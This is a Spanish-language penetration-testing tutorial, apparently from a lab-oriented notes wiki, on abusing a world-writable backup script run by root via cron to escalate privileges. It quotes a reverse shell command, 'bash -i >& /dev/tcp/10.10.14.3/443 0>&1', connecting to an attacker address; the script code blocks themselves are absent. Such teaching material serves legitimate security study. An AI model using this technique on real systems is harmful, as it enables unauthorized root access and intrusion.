globe-pointerCron Job Abuse


Las tareas cron son una parte fundamental en los sistemas Linux y Unix para ejecutar tareas administrativas de forma programada, como realizar copias de seguridad, limpiar directorios y mΓ‘s. El crontab es el archivo de configuraciΓ³n donde se especifican las tareas cron, y estas tareas se ejecutan a travΓ©s del demonio cron segΓΊn la programaciΓ³n establecida.


Funcionamiento BΓ‘sico del Crontab:

Un archivo cron requiere seis elementos en el siguiente orden:

  • Minutos

  • Horas

  • DΓ­as

  • Meses

  • Semanas

  • Comandos a ejecutar


Ejemplo de una entrada cron para ejecutar un script cada 12 horas:

0 */12 * * * /home/admin/backup.sh

Ejemplo de Tarea Cron Mal Configurada:

Imaginemos que un administrador del sistema configura un script de copia de seguridad con el siguiente cron:

*/3 * * * * /dmz-backups/backup.sh

Este cron ejecuta el script cada 3 minutos, cuando el objetivo probablemente era configurarlo para que se ejecutara cada 3 horas:

0 */3 * * * /dmz-backups/backup.sh

Un anΓ‘lisis del directorio /dmz-backups revela que backup.sh tiene permisos de escritura universales:

Esto permite que cualquier usuario pueda modificar el script y aΓ±adir comandos maliciosos.


Uso de Herramientas para Detectar la EjecuciΓ³n de Cron:

Esto muestra que el script backup.sh estΓ‘ siendo ejecutado como root.


ExplotaciΓ³n de la Vulnerabilidad en Cron

Script original de backup.sh:

Script modificado con shell inverso:

En este caso, el comando bash -i >& /dev/tcp/10.10.14.3/443 0>&1 intenta establecer una conexiΓ³n inversa al atacante en la direcciΓ³n IP 10.10.14.3, en el puerto 443.


Last updated